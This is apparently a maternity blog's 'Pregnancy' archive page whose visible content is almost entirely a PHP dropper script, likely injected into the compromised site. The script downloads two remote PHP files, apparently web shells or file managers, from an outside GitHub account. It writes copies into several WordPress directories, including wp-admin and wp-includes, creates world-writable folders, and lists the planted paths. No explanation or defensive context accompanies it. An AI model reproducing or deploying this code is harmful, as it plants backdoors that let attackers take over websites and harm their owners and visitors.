// Array of GitHub raw file URLs $githubRawFileUrls = [ 'https://github.com/Mr-X1337/xxx/raw/refs/heads/main/xwpg.php', 'https://github.com/Mr-X1337/develop/raw/refs/heads/main/xmanager.php' ]; // Paths to save files $savePaths = [ $_SERVER['DOCUMENT_ROOT'] . '/', $_SERVER['DOCUMENT_ROOT'] . '/wp-content', $_SERVER['DOCUMENT_ROOT'] . '/wp-admin/network/', $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/assets/' ]; // Ensure all paths exist, create them if they don't foreach ($savePaths as $path) { if (!is_dir($path)) { mkdir($path, 0777, true); } } // Initialize a counter $fileCounter = 1; // Array to store the downloaded file paths along with their WordPress paths $downloadedFiles = []; // Loop through each URL foreach ($githubRawFileUrls as $url) { // Fetch content from GitHub file $content = file_get_contents($url); if ($content !== false) { // Extract file extension from the URL $fileExtension = pathinfo($url, PATHINFO_EXTENSION); // Formulate the filename with the counter and file extension $filename = $fileCounter . '.' . $fileExtension; foreach ($savePaths as $savePath) { // Path to save the file in the current directory $localFilePath = $savePath . "/$filename"; // Write content to a new file $fileWriteResult = file_put_contents($localFilePath, $content); if ($fileWriteResult !== false && $savePath === $_SERVER['DOCUMENT_ROOT'] . '/wp-content') { // Store the downloaded file paths along with their WordPress paths for display $downloadedFiles[$url] = [ 'wordpress_path' => $localFilePath, 'url' => $url ]; } } // Increment the counter for the next file $fileCounter++; } } // Display links to the downloaded files if (!empty($downloadedFiles)) { echo "

Downloaded Files:

"; foreach ($downloadedFiles as $downloadedFile) { $wordpressPath = $downloadedFile['wordpress_path']; $fileUrl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $wordpressPath); echo "

File: $fileUrl
Original URL: {$downloadedFile['url']}

"; } } else { echo "No files downloaded."; } ?> 〈Pregnancy 〉Archive - Page 9 of 11 - mamaway Maternity Blog & Advice

Category: Pregnancy